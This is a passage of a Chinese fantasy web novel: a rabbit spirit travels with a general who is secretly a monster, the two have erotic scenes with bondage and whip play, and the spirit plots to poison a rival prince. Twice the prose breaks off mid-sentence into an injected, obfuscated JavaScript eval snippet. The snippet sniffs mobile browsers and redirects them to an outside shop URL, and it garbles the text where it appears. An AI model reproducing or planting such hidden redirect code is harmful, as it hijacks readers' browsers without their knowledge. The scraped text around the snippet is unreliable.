卫淮解下披风和盔甲,绮雪这才看到他的里衫在左臂的位置破了道口子,露出布料下皮肉翻开的伤口,血淋淋的,只是因为里衫是黑色的,又被披风挡住才不好发现。 “你受伤了。”绮雪走了过去,小心地抬起他的左臂,“你没感觉到吗?” “当然感觉到了,我又不是泥人,怎么可能不疼。”卫淮笑道。 绮雪说:“那还替我擦脚……为什么不直接回来包扎伤口?” “小伤而已,不要紧。” 卫淮脱下里衫,赤着上身活动手臂,又握住绮雪的腰将他举了起来:“你看,不影响我抱你。” “啊……”绮雪骤然腾空,忍不住抓住卫淮的小臂,但避开了有伤的地方,“好了好了,我知道你很厉害,快放我下来。” 卫淮笑着放下绮雪,为自己处理伤口。绮雪不太会弄,但也想帮忙,坐到他身边说:“你自己弄不方便,你教教我,我来给你上药。” “好啊。” 卫淮伸出手臂,指导绮雪给他包扎,绮雪的动作总是轻轻的,不敢下重手,卫淮就自己裹紧纱布,将伤口勒得渗出了血印。 “别这么用力……” 绮雪伸手去解纱布,却被卫淮捉住手指,放在唇边亲了亲:“心疼我了?” 对于绮雪而言,这点伤倒不至于心疼,但毫无疑问,他很关心卫淮。卫淮对他的好他都感觉得到,他也要投桃报李,回报卫淮才是。 绮雪知道卫淮喜欢听自己说软话,为了哄他开心,也乐得嘴甜一点:“我当然心疼七郎,你别动,我来给你绑。” 卫淮没说话,唇边噙着淡淡的笑,眼神柔和地看着绮雪为自己绑好纱布,将他揽入怀中亲吻。 绮雪早就习惯了卫淮动不动就要亲他,仰起脸乖乖地回吻。和以往掠夺式的亲吻不同,这个吻温柔缠绵,如春风细雨般无声地浸润着他,吻得他双颊潮红,眸光朦胧,软绵绵地靠在卫淮身上。 过了许久,卫淮放开绮雪,轻轻地抚摸他滚烫的脸颊:“喜不喜欢我?” “喜欢呀。”绮雪轻声呢喃。 就像是喜欢恩人、喜欢绿香球、喜欢徐太守那样,他也喜欢卫淮。 “那就不要离开我。”卫淮说,“一辈子陪在我身边,别和我分开。” 绮雪怔了怔:“可是……” 这是不可能的,只要一到上京他就会立刻和卫淮分开。 在绮雪的观念里,并没有“永远在一起”这种概念,他是妖物,寿元悠久,百年来不知迎送过多少至亲好友,也包括他的父母和兄弟姐妹在内,早就将分别看淡了。 卫淮就是个普通人,寿元至多百年,本来就不可能永远和他在一起,他最多也就是在卫淮还活着的时候多陪陪他,死后送他轮回往生,也就是这样了。 “别说‘可是’。”卫淮轻轻地按住绮雪的唇瓣,“答应我,跟我回上京,我会好好待你。” 这是卫淮第一次直言许诺带绮雪回上京,绮雪想要的就是他这句话,这下终于放心了,流露出明媚的笑容。 也罢,看在卫淮对他这么好的份上,他就哄哄他好了。 “我保证,我不会离开七郎。” 他依偎着卫淮结实的胸膛,用甜言蜜语哄骗他。 “永远和你在一起,一辈子跟你不分离。” 10.10 卫淮的铁骑自西境转到南下,一路沿西南边陲前行,途经三郡,扫荡食人妖魔无数,用时将近两个月。 绮雪是在八月下旬下的山,到现在两个多月过去了,已是深秋时节,但天气没有丝毫转凉,反而越来越温暖湿润,甚至到了南边,他每晚和卫淮抱在一起睡觉时都有点嫌热。 卫淮的伤势早已痊愈,每天依旧忙碌,但晚上他都会尽量赶回军营陪伴绮雪,只要有空就带绮雪出去玩,看遍了各地不同的风土人情。 每个地方的景观都千差万别,不过绮雪还是发现了一个共通点。 那就是各地的寺庙道观香火都非常旺盛,许多百姓今生苦厄缠身,就将希望寄托于来世,捐出了大量银钱。 大多数寺庙和道观确实有真本事,庇护着当地不受妖魔侵.犯,这种地方绮雪就不爱进去。 虽然他们无法识破他的妖身,但诵经声总是念得他头疼想吐,遇到当中最厉害的道观,绮雪一进门就差点晕倒,为了不露出破绽,才强撑着没有晕厥过去,出来的时候手心都掐破了。 这座道观名为云月观,其实分为南北两座,南方的云月观就是绮雪来的这座,而北方的云月观远在上京,上京的这座才是最古老正统的云月观,南方这座是后来修建的。 云月观是大雍香火最旺、最具盛名的道观,因为它的观主乃是大雍国师谢殊,这位据说是最接近神灵的存在。 早在绮雪还在大荔山的时候,就已经听过谢殊的大名。 传说谢殊是仙人转世,他出生的那一日天降异象,飞龙于天、紫气万丈,三位仙人自极天而来为他赐福,一位送他天目,一位送他长生,最后一位赐予他强横无匹的仙术。 没人知晓这个传说究竟是不是真的,但谢殊的强悍是所有人有目共睹的。 他确实生有天目,并且长生不老,自百余年前就被尊为大雍国师,辅佐过数代君王。 风雨飘摇的乱世中,谢殊为大雍遮风挡雨,是众生的守护神,而百姓们也将他奉若神明。 但绮雪不喜欢谢殊,甚至可以说是憎恶。 因为看过《玉衡传》后,他发现谢殊就是书中的另一位主角。 在这两个月的时间里,绮雪断断续续地读完了大半本原著小说,对两个主角的仇恨上升到了新的高度。 一个是姬玉衡,他是最重要的主角,整本小说就是以他的名字命名的,未来是他亲手射杀了天子贺兰寂,一箭正中贺兰寂的心脏。 另一个就是谢殊,是他将山阴娘娘打入黑暗的洞渊,永世不见天日,又是他率领修道之人剿灭妖魔,连大荔山这样和平安宁的妖山都被他屠戮得一干二净。 纵使绮雪看淡生死,但贺兰寂死得太惨,大荔山又是他眷恋的故乡,在阅读这几章时,他难过坏了,哭得不能自已,直到卫淮回来还哭得一抽一抽的,眼睛都肿了。 “谁欺负你了?” 卫淮连盔甲都来不及卸下,快步上前将绮雪抱到自己腿上,边亲边哄他:“怎么了?你告诉我,我替你做主,没人能欺负我的阿雪。” “没人欺负我……” 绮雪抹了抹红红的眼睛,小声说:“就是看书看的。” “哪一本?”卫淮问,“能让你哭得这么伤心?” 绮雪翻了翻书堆,挑出一本感人肺腑的世情小说,还好他本身就喜欢看书,存货不少,能挑出一本差不多的应付卫淮。 卫淮扫了一眼书名,确实是容易催人泪下的书,但他还是不太相信:“你真的没骗我?” “骗你做什么,有你给我撑腰,我才不会委屈自己,真的就是看书看的。”绮雪拉着他的衣袖撒娇。 卫淮最吃他这套,闻言不再说什么,只是叮嘱他:“有什么不开心的一定要和我讲,别勉强自己。” “要是你让我不开心呢?”绮雪故意问他。 “那就更应该告诉我,我才能改。”卫淮亲了亲他的额头,“我可不想惹你不高兴。” 绮雪主动抱住他:“七郎对我真好。” “知道就行。”卫淮不太正经地扇了下他的屁股。 …… 深夜。 卫淮今夜难得不在营中,绮雪在软榻上辗转反侧,怎么也睡不着觉。没想到他竟然已经习惯了被卫淮抱着睡,没有卫淮在身边,他就觉得心里不踏实,再怎么困倦也难以入眠。 鸟架上的绿香球被他翻身的动静吵醒了,打了个哈欠嘟囔着:“你还没睡着吗?” 一个多月前,绿香球终于成功混入军营,名正言顺地留在了绮雪身边。 过程有些复杂。由于绿香球身上有妖气,根本隐瞒不住自己妖物的身份,不能假扮成普通鹦鹉,于是在绮雪的建议下,她另辟蹊径,探查出了几窝食人妖魔的位置,依靠出卖同类博得卫淮的信任,成了军中的侦察兵。 绮雪和绿香球假装素不相识,却又一见如故,一“人”一妖迅速成为了好朋友。 不干活的时候,绿香球要么就待在将军帐,要么就去杏儿的住处玩耍,杏儿很喜欢她,刚好她也喜欢小孩子,还是很乐意跟杏儿玩的。 见自己打扰了绿香球睡觉,绮雪有点不好意思地说:“我还是出去走走吧。” “还是算了吧。”绿香球却不赞成,“三更半夜的,你自己出去太危险了。” 绮雪:“我就在军营里转转,能有什么危险?” “哎呀,这你就有所不知了。” 绿香球咂咂嘴:“我说的危险不是食人妖魔,而是营中的士兵!” “你很少出去,还不知道你的艳名已经在全营传遍了,那些血气方刚的士兵私下总是提起你,夸你多么美艳绝伦,连大将军都是你的裙下之臣,还给你编了很多香艳小故事,那程度,啧,比起《宜春香质》也不遑多让,我真怕你自己出去会被他们袭击……” 她这样讲,绮雪是真的不敢出去了,拜每年春天的阴影所赐,他最怕这种事。 不过绮雪还有个问题:“‘宜春香质’是什么东西?” 绿香球:“?你不知道?” 绮雪摇头:“是书名吗?” 绿香球:“确实……那《弁而钗》呢?《竞春图卷》呢?《花阵六奇》呢?难道你一个都不知道?” 绮雪眼神迷茫,绿香球颤抖地抬起翅膀捂住胸口:“你不知道!你怎么可以不知道!你等着,明天我就把所有书都带过来!” 转天,绿香球果真带回了一大堆书册,绮雪也不知道她是怎么办到的,那小小的身体和一摞沉甸甸的书册完全不成正比。 绮雪随手翻开一本,才看了几页就大受震撼,什么叫山外有山人外有人啊,这里面玩得可比卫淮变态多了! 至少卫淮不会在他身上用乱七八糟的东西,什么长针、绳子、蜡烛、勉子铃……怎么还有姜和鱼?还有十几个人的……真的不会出人命吗? 绿香球故作老成地说:“好好看、好好学,你不是想入宫报恩吗,那就学会这些,到时候贺兰寂就再也离不开你了。” 绮雪沉默半天,再开口时显得很犹豫:“恩人真的不会杀了我吗?” “不信你就在卫淮身上试试,你看他喜不喜欢。”绿香球趁机怂恿。 绮雪考虑了一下午,觉得绿香球说得有道理,他固然有美貌,可只凭美貌也不能保证必定获得贺兰寂的宠爱,想做宠妃, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12964344|136045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是要有些过于常人的本事才行。 就拿卫淮练手好了。卫淮宠他,生气了也不会把他怎么样,他随便撒个娇就能糊弄过去了。 几天后的傍晚。 卫淮难得清闲,晚上想带绮雪出去转转,却被绮雪拦下了:“我为七郎准备了一份礼物。” “什么礼物?”卫淮瞬间来了兴趣,一双桃花眼变得分外明亮,“快拿出来给我看看。” 绮雪故作神秘:“我需要七郎配合我,我要绑住你的手。” “可以。” 卫淮答应得很痛快,听从绮雪的指挥,放松地躺在软榻上,任由绮雪将他的双手和软榻的木栏绑在一起。 绮雪脱下外衫,盖在卫淮脸上,遮住他的双眼,窸窸窣窣地换好衣裳,又把外衫拿了下来。 卫淮睁开眼睛,目光落到绮雪身上,就再也不动了。他的呼吸瞬间变快,双手握住栏杆,紧绷的手背浮现出淡淡的青筋。 绮雪穿的是西域的舞娘裙,色泽艳红如火,露出双臂和肩颈,以及纤细雪白的腰肢,小巧的肚脐嵌着一枚红宝石,数条细长的金链蜿蜒而下,随着腰肢晃动闪烁着美丽的流光。 下身的裙装长及脚踝,却只是轻透的薄纱,完全遮不住修长的双腿,反而更显美艳旖旎。 绮雪握着一支马鞭,在掌心上轻轻一敲,不痛不痒地抽了卫淮一鞭:“好七郎,喜欢我送给你的礼物吗?” 不等卫淮回答,他就又一鞭抽了上去:“不喜欢也不能说‘不’,你只是供我玩乐的奴隶,没有拒绝我的权力。” 卫淮紧紧盯着他,嗓音变得沙哑:“我什么都听你的。” 绮雪一歪头,思考了一会,抬起一只脚伸到他唇边:“取悦我。” …… 绿香球在杏儿的小帐篷里睡了一夜,清晨的时候,她往将军帐附近飞了一圈,发现卫淮居然破天荒地没有晨起练剑,甚至在日常练兵的时候都没露面。 她心中有了几分猜测,也不着急寻找绮雪,飞出大营侦查食人妖魔的行迹,等到黄昏才回来。 可令她震惊的是,整整一天了,卫淮都没走出将军帐,只是隔着帘子和亲信们交代了几句。杏儿想进去服侍绮雪,却被卫淮拒之门外,说绮雪有他照顾就够了。 绿香球太好奇里面是什么情况了,忍不住偷偷地从帘子的缝隙挤了进去,一股甜腻的香味便扑面而来。 帐中十分安静,绮雪睡得很熟,浑身的痕迹不堪入目,简直如同被野兽折磨过一般。 绑手的绳子断了,软榻的木栏也断了,布料碎片散落得满地都是,绿香球心疼地发现红宝石金链也被扯烂了,这可是花了她不少钱买来的! 卫淮垂着眼睛,坐在软榻边看着绮雪,手指缓缓地滑过绮雪柔软的脸颊,满是珍视和怜爱。 忽然,他发现了绿香球的存在,抬眼与她对视。 四目相对的一刻,绿香球被他的视线牢牢锁定,浑身僵硬地停住了。 那是一双不属于人类的眼睛。 只有某类食人妖魔才会拥有的幽绿竖瞳竟然出现在了卫淮身上。 昨夜绮雪令他兴奋到了极点,他失去了对自身的控制,才因此露出这双可怖的瞳孔。 绿香球满心恐惧,被那幽暗的注视震慑得无法呼吸,浑身的毛炸了起来:“你你你……你到底是什么东西?!” 食人妖魔不可能化成人形。 更何况卫淮身上没有丝毫妖气,他既不是人,也不是食人妖魔,而是一种很奇怪的东西。 一个真正的怪物。 卫淮没回答,只是笑了笑,做出噤声的手势。 “别吵醒阿雪。” 11.11 数日后,初冬时节,卫淮的军队来到了大雍南境。 这是卫淮此次出兵的最后一处目的地,离开南境后,大军就会折返北上,一路疾行,赶在年关前回到上京。 行路辛苦,卫淮为绮雪置办了马车,厢内宽敞舒适,铺了厚厚的软枕和绒毯,一侧放着书架和五层食盒,放满了书籍和各色糕点小食,供绮雪随时取用。 马车由两头妖兽拉动,赶起路来又快又稳,现在绮雪每天都爽得不行,恨不得变回兔团在绒毯上弹跳打滚,只是苦于不能留下妖气才遗憾作罢。 这日,狂风大作,天空中乌云密布,应该是快要下雨了。 绮雪听到呼啸的风声,掀开窗帘,对站在车顶上的绿香球喊道:“你不进来避一避风吗?” 绿香球的绒毛被风吹得蓬乱,她缩了缩小脑袋,虽然觉得很冷,但还是说道:“算了,我晕马车,还是待在外面比较舒服。” 听她这么说,绮雪也不勉强她:“下雨了就进来待一会,晕车总比全身湿透要好。” “我明白。” 绿香球在风中摇晃着,张了张喙,几度欲言又止:“阿雪,其实……其实我——” 话才说出口,骑着白虎走在前方的卫淮忽然放慢了速度,与马车并排而行。 他抬头瞥了一眼车顶的绿香球,绿香球瞬间噤声,将自己缩成了一团毛球。 绮雪迟迟等不到后半句,问了一声:“怎么了?” 绿香球将脑袋埋进翅膀里:“没、没什么。” 卫淮收回目光,挑起窗帘的一角,含笑问绮雪:“快下雨了,收留我避雨好不好?” “你直接进来就好呀。”绮雪说,“我又没有不准你坐,是你自己不喜欢坐马车的。” 就连杏儿也是,她坐不惯这么软的毯子,一定要坐硬邦邦的辎重车才舒服,偌大的马车就只有绮雪一个乘客,好在辎重车也有篷顶,绮雪不用操心杏儿会被雨水淋湿。 得到绮雪的准许,卫淮身手矫健地从白虎背上跳到车板上,脱掉长靴,弯腰挑开帘子钻了进去。 卫淮身上带着一股凉意,于是进入车厢后,他先卸下盔甲放到一边,只穿着内里的深色袍服靠近绮雪,将他搂在怀里肆意亲吻起来。 “嗯……” 绮雪勾住他的后颈,发出甜腻的低吟,柔顺地回应着他热忱的吻。 近来绮雪在这档事上对卫淮都是百依百顺,还跟他玩了不少艳.情小说中的花样,因为看完整本《玉衡传》后,他发现卫淮在书中也是个浓墨重彩的人物。 原著中,卫淮位高权重、战功赫赫,与天子贺兰寂是少时的至交好友,一直对贺兰寂忠心耿耿。 但后来贺兰寂已经半疯了,行迹疯魔癫狂,几乎毁灭了整个江山,卫淮对他失望透顶,最终辞官离京,带着全家老小出海远去,从此杳无音讯。 绮雪本来就挺喜欢卫淮,看到他在原著中的表现就更满意了,只不过绮雪觉得这个结局需要改改,卫淮既忠心又能打,不能放他走,他就该留下来一辈子效忠陛下。 为了改变卫淮的心意,绮雪对他越发热情,他还盘算好了,到达上京后,他一定要和卫淮好聚好散,这样留得几分情面在,未来他还可以帮助陛下一起笼络卫淮。 他们拥吻许久,外面开始淅淅沥沥地落下了雨水,绮雪想叫绿香球进来避雨,却被卫淮拉了回去:“她早就离开了,不用担心,她会去找杏儿的。” 绮雪一想也是,就乖乖地不动了,卫淮拉松他的衣襟,露出纤细的雪肩,低头吮吻落下梅花瓣似的红痕。 他的手指一勾一扯,再轻轻一拉,绮雪的上衣就像是荔枝壳似的被剥了下来,绮雪惊讶地抵住他的胸膛:“你该不会是想在马车上……” “下雨了,只要你小声点,他们就听不见。” 卫淮眉眼弯弯,轻咬他的耳垂:“会不会被发现全都取决于你。” 绮雪双眸湿润,轻轻咬住下唇,其实他没什么羞耻心,除了杏儿这样的小孩,就算被别人发现也无所谓,但既然卫淮喜欢看他害羞,他就装装样子好了。 雨越下越大,大军找到避雨的地方停了下来,马车微微地晃动着,但所有人都一身狼狈,急于生火烘干衣物,没人发现车中的秘密。 …… 辎重车上,绿香球埋头吃着杏儿给她剥的瓜子,其实内心非常矛盾,不清楚该不该把自己的发现告诉绮雪。 那天她发现了卫淮不是人类的秘密,本以为自己会被杀掉灭口,但卫淮什么都没说,很平静地将她放出去了。 这些天她几次想要吐露秘密,但要么就是被卫淮吓得不敢说了,要么就是她自己临时改了主意。 虽然卫淮现在没杀她,却不代表他以后也不杀,知道得越多就越危险,假如她把真相告诉绮雪,说不定也会连累他一起丢掉小命。 可是绮雪一直被蒙在鼓里,其实也很危险,他每晚都和一个怪物同榻而眠,万一怪物哪天凶性大发想吃掉绮雪呢?这也不是没可能的。 唉,好愁啊…… 小鹦鹉吃得肚皮滚圆,思来想去,还是决定暂时保密。 卫淮在极度兴奋的情况下才会露出竖瞳,平时还是控制得很好的,只要不继续刺激他,也不捅破这层窗户纸,就还可以相安无事,绮雪就是安全的。 总而言之,不管说或不说,她都会拼尽全力守护绮雪、帮助绮雪,不让他受到任何伤害。 想通了这一点,绿香球的心情立刻好转起来,蹭了蹭杏儿的脸蛋:“我还想吃瓜子!” - 雨过天晴。 等到路面变干一些,大军继续上路了。 马车里,绮雪不着寸缕,懒洋洋地趴在绒毯上,雪白的身体满是红痕。 卫淮只穿着亵裤,露出精悍强健的肌肉线条,曲着一条腿坐在绮雪身边,把玩着他的一缕长发,在指间绕来绕去,颇有些爱不释手的意味。 走了大半个时辰,卫淮撩起窗帘,看了一眼窗外的风景,笑着对绮雪说:“我们已经进入南平郡境内,最快明晚就可以到达临阳城。” “南平郡?”绮雪听到这个地名,瞬间来神了,“哪个南平郡?” “天下只有一个南平郡,自然就是你知道的那个。”卫淮说。 是主角姬玉衡的故乡! 绮雪没有想到自己竟然会提前来到南平郡,也就是说,他现在就有机会见到姬玉衡,假如能趁着姬玉衡前往上京前杀了他,陛下就可以高枕无忧了! 原著小说的剧情是这样的:贺兰寂年少登基,既无嫔妃,也无子嗣,他体弱多病,太医诊断他不可能拥有子嗣,他便召集众多皇室宗亲入京,准备从中选出一位合适的人选立为太子。 姬玉衡就是被召入上京的宗亲之一,还是储君的大热门人选。 入宫之前,姬玉衡在南平郡就很有名望,身为宝华郡主之子,在母亲的支持下,他带领百姓治洪水、开良田、经商贸、筑战城,不出几年就将这片妖魔横行的恶地治理得物阜民安。 可就是这位被百姓奉若神明的仁义君子,未来亲手射杀了天子贺兰寂。 所以绮雪才不相信姬玉衡是什么好人,他杀了贺兰寂,就是全天下最可憎的恶人,也是他不共戴天的仇人。 明明在原著中,贺兰寂已经将姬玉衡立为太子,而且贺兰寂身体很差,只要多等几年,姬玉衡就能当皇帝了,他却 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卫淮并不意外,类似这种场合,绮雪向来都不感兴趣,他又笑道:“不去也好,宴会的确没意思,不过临阳城是个好地方,我带你出去转转。” 他说走就走,换了身常服,带着绮雪进了临阳城。 这次卫淮没有骑白虎,只选了一匹普通骏马,但他的相貌英俊风流,牵着马走在路上,也似斗鸡走狗的纨绔公子哥,分外惹眼得很。 不过更为惹眼的是,他通身贵气,却甘愿做个牵缰绳的马夫,头戴白色帷帽的绮雪悠闲地骑在马背上,居高临下,如同他的主人。 绮雪完全没意识到什么不对,一心沉浸在临阳城的繁华喧闹中,他喜欢这种热闹的景象。 纵使是傍晚,大街上的行人依旧络绎不绝,家家商铺店门大开,挂满了琳琅满目的商品,一盏盏绚丽的灯笼悬在半空,向前纵深而去,如若流光溢彩的长龙。 绮雪看上一盏兔子灯,想叫卫淮买给他,可他光是伸手又够不到卫淮,于是拿马鞭戳了戳他的后背:“七郎,我想要兔子灯。” 卫淮笑着看了他一眼,掏钱买下了灯,将灯盏递给绮雪时,他低头亲了亲绮雪伸过来的手,才把兔子灯交给他。 任谁都能看出他们的关系亲密至极,灯笼摊的老板打趣问:“两位可是新婚夫妻?” “我们还没成婚。”卫淮笑道,“不过也快了,就在明年。” 老板拱手道:“那就提前恭喜两位了。” 绮雪提着兔子灯,神色有点发怔,这还是卫淮第一次表露出想和他成婚的念头。 怎么会呢,原来他们两个不是露水情缘吗,卫淮对他竟然还挺认真的? 可是……他还要进宫做陛下的妃子,是绝对不可能嫁给卫淮的,如果卫淮不是在和老板开玩笑,他得趁早劝他打消这个念头才行…… 绮雪一下子没了游玩的心情,苦恼地望向卫淮,刚好卫淮也在看着他,和绮雪不同的是,他心情很好,眼中盈着温柔的笑意:“怎么样?” “什么怎么样?”绮雪问。 “明年成婚。”卫淮说,“快些就是春天,慢些就是夏天,你觉得怎么样?” “我……” 得知他真的不是在说笑,绮雪有点慌了:“我不知道,我没想过你竟然愿意和我成亲……” “为什么不愿意?”卫淮反问,“难道在阿雪眼中,我是个始乱终弃的人?还是说……” 他目不转睛地盯着绮雪:“我们之中想始乱终弃的人其实是你?阿雪,你要抛弃我吗?” 12.12 卫淮爱笑,可当他脸上没有笑意的时候,他那双桃花眼竟显得尤为冰冷,如同锐利的兽瞳,缺乏属于人类的情感色彩。 饶是他的相貌再如何温柔多情,也遮盖不住骨子里的煞气,被他直勾勾地盯着,绮雪感觉自己就像是遭到了食人妖魔的窥视,心慌得厉害,连忙否认道:“怎么会呢,我当然没有想过抛弃七郎。” “是吗?” 卫淮定定地看了他片刻,忽然一笑:“原来是我多心了,方才我见你不太高兴,还以为你不想和我成亲。” 见他重新露出笑意,绮雪心下稍安,撒娇似的嗔怪道:“我没有不想和你成亲,只是一时太过惊讶,还没反应过来而已,难道在你心里我就是这么不可信的人吗?” “是我不对。”卫淮向他道歉,“我不该怀疑阿雪。” “没关系。”绮雪见好就收,掀开帷帽的白纱,朝卫淮甜甜一笑,“谁叫我喜欢七郎呢,我不怪你。” 他露出清艳冶丽的真容,灯笼摊的老板瞬间看呆了,甚至没察觉到自己摔掉了手中的灯笼,他们离开时,老板又送了绮雪一盏兔子灯,说是凑一对,还坚持不肯收钱。 绮雪提着一对兔子灯坐在马背上,看着前方卫淮的背影,心情十分复杂,这次算是应付过去了,可以后呢,如果卫淮执意要和他成亲,他们还能好聚好散吗? “阿雪。” 卫淮没有回头,叫了他一声,绮雪打起精神回应:“怎么了?” “我没有过别人,以后也不会有,这辈子就你一个。”卫淮说,“我一心一意待你,希望你对我也一样,你不会让我失望的,对吗?” “……” 绮雪握紧兔子灯的手柄,不得不再次许以虚假的诺言:“对,我也会一心一意对待七郎,不会让你失望的。” - 翌日。 趁着卫淮外出,杏儿和绿香球也不在帐中的时候,绮雪取出了少主令牌,在心中默念桑迟的名字。 不过片刻功夫,桑迟有了回应,冷哼一声说道:“这么久没有音讯,我还以为你早就把令牌弄丢了,现在看来令牌还好好的,只是你把我忘光了而已,真是好得很啊。” 他说话阴阳怪气,但绮雪没心情和他斗嘴,直接问道:“就你所知,有没有什么能让人断情绝爱的法术或丹药?我有个朋友,他爱上了不该爱上的人,我想帮他脱离苦海,结束这段单相思,你有什么办法吗?” 令牌另一头,桑迟勃然色变:“你这话什么意思,难道你就这么讨厌我,连喜欢都不让我喜欢了?” “?”绮雪说,“跟你有什么关系,我说我朋友,谁说你了,你也能算是我朋友吗?少自作多情了。” “你……” 桑迟神色难看,像是生气,又像是庆幸,还夹杂着几分委屈。 他的声音闷闷的:“的确有断情绝爱的灵药,可一旦服用,就会彻底失去一切感情,连父母双亲都会变成陌路人,只有想了断尘缘的修道人才会使用,应该不适合你那位朋友。” 绮雪:“的确。” 他就是想让卫淮别再喜欢他了,可不是要毁了卫淮的生活,这种方法他是不会考虑的。 桑迟:“我打听一下吧,但你别抱希望,应该是找不到你想要的那种。” 绮雪:“你尽力而为就行。” 实在不行他就用掉一根兔毛,向山阴娘娘求助,但如果不是万不得已,他不想把仅有的三次机会浪费在这种事上。 他又问桑迟:“你知道南平郡的临阳城吗,这里有没有你们灵狐一族的族人?” “当然,我们灵狐一族的足迹遍布天下。”桑迟骄傲地说,“怎么,你需要找人帮忙?” “没错。”绮雪说,“你们灵狐族最擅长易容幻术,我需要你帮我找个人,冒充我几个时辰,我要避人耳目去做一些事情。” 桑迟追问:“什么事?” 绮雪颐指气使:“和你有关系吗,你管我做什么,给我找人就行了。” 他总不能说他是要去偷偷杀人吧。 桑迟无奈,离开了片刻,很快告诉绮雪:“联系好了,临阳城最大的布庄名叫绮纨楼,掌柜莺娘是我们灵狐族的长老,你把令牌拿给她看,她自然会帮你的忙。” 绮雪表示满意:“还算你有点用处。” 他这就要断开两人的传讯,桑迟阻止了他,吞吞吐吐地说:“你想不想知道……我喜欢的人究竟是谁?” 绮雪:“不想。我没兴趣知道那个倒霉蛋是谁。” 桑迟:“……” 断开传讯后,绮雪又找来绿香球,拜托她给自己带来一瓶见血封喉的毒.药。 绿香球吓了一跳:“你要毒谁?该不会是卫淮吧?” “当然不是,是一个名叫姬玉衡的人。” 绮雪说:“我不能透露太多,但我必须除掉姬玉衡,否则我的恩人会死在他的手上。香香,求你帮帮我,你是我最信任的朋友,这种时候我能依靠的人就只有你了。” 他的目光充满了哀求,绿香球才暗中发誓要好好保护他,这下更是直接被冲昏头脑,豪情万丈地拍着胸脯:“没问题,包在我身上,干脆就让我替你杀了他吧!” “还是我自己来吧,你帮我买药就好。” 绮雪摇摇头,拒绝了绿香球,杀生是要背负因果的,他不能让好朋友替自己承担这份罪业,至于他自己,他其实不太在乎,没有什么是比拯救恩人更重要的。 绿香球办事麻利,当晚就带来了毒.药,还找了十几只小鸟摸清了郡主府的地形,叽叽喳喳地复述给绮雪。 由于绮雪力量单薄,也使不出什么妖术,唯一能用的杀人手段就是下毒,他需要想个法子,将毒.药下进姬玉衡的饮食中。 他的刺杀计划并不复杂:明天入城,去绮纨楼找到莺娘,和她调换身份,让她假扮成自己在城中游玩,自己去郡主府上毒杀姬玉衡。 刚好明天卫淮一整天都不在军营中,要到后天早上才回来,这样莺娘就不用回军营,也不会因为身上的妖气被妖兽识破身份,自己有充足的时间用于刺杀姬玉衡。 转天下午,绮雪叫来杏儿:“我想进城逛逛,看一看新衣服。” “好的,我这就去为公子安排。” 杏儿不假思索地答应了,因为卫淮本来就交待过临阳城这边很安全,要是绮雪想自己出去逛逛,多带几个人保护他就行,不需要阻拦他。 杏儿点了四个身手最好的诸怀卫,再加上她自己和绿香球,陪着绮雪出门了。 一行人浩浩荡荡地进城,来到了绮纨楼。 绮纨楼是临阳城最大的布庄,建有三层楼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12987148|136045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 木柜上放置着琳琅满目的布匹,从寻常粗布到名贵的香云纱都应有尽有,也有不少制好的成衣悬挂在衣桁上,供客人挑选样式或直接买走。 绮雪让杏儿等人在一楼稍等他片刻,自己带着绿香球上了三楼,径直来到最里面,也就是掌柜莺娘的闺房门口,轻轻敲了敲门。 屋中传来一道妩媚的声音:“进来吧。” 得到准许,绮雪推门而入,容貌妖艳的年轻女子斜倚着软榻,手中握着一杆烟斗,吞云吐雾地说:“你就是绮雪?” “我就是绮雪。”绮雪摘下帷帽,将令牌拿了出来,“见过文长老。” 莺娘的真名叫做文莺,是灵狐族的长老,常年在外处理灵狐族的事务,这还是他们第一回见面。 “终于见到你了。”莺娘咯咯地笑,也没检查令牌,抬眸望向绮雪,“我早就听说过你的大名了,谁都知道我们少主对你——” 她蓦地睁大眼睛,惊艳地望着绮雪,连狐狸耳朵都露出来了。 “天呐,天啊……” 她连忙爬了起来,走到绮雪面前,小心翼翼地触碰着他的脸:“你到底是怎么长的,怎么可以美成这样?” “不行,真的不行……你太美了,我的幻术还没修炼到家,根本变不出你的样子,你还是找别人吧。” 见她推辞,绮雪连忙说道:“可我确实有很要紧的事情,文长老真的不能帮我想想办法吗?” 他目露哀求之色,莺娘被他迷了魂,喃喃说道:“也不是没有别的办法,我需要你的几滴鲜血,涂抹在我的脸上,就可以完全变成你了。” 绮雪一听,毫不犹豫地用小刀割破了自己的手指,给莺娘心疼坏了:“别这么粗鲁地对你自己!” 她轻柔地取了绮雪的血,给他的手指抹了好几种药膏,经她这么一折腾,绮雪觉得这道小口子大有当场痊愈的趋势。 莺娘将血珠滴在特殊的药膏中,均匀涂抹在自己的脸上,接着施展幻术,变成了绮雪的模样,绿香球负责校正细节,保证莺娘不露破绽。 绮雪变成兔团的模样,轻盈地蹦上窗沿:“我走了,这边就拜托给你们了。” “放心吧,你小心点,快去快回。”绿香球叮嘱。 兔团从窗户缝挤了出去,几个跳跃来到一楼,窜进草丛里,直奔郡主府而去。 绮纨楼离郡王府不算很远,兔团仗着自己小小一只,一路悄无声息地溜到郡王府的墙根下,飞快地刨了个地洞,后腿一蹬钻了进去。 他小心翼翼地叼着瓷瓶,隐隐能听到液体在瓶中晃动,生怕把瓶子摔碎。 瓶中盛放的毒.药是丹毒,所谓丹毒,也就是从妖丹里提取的毒液。 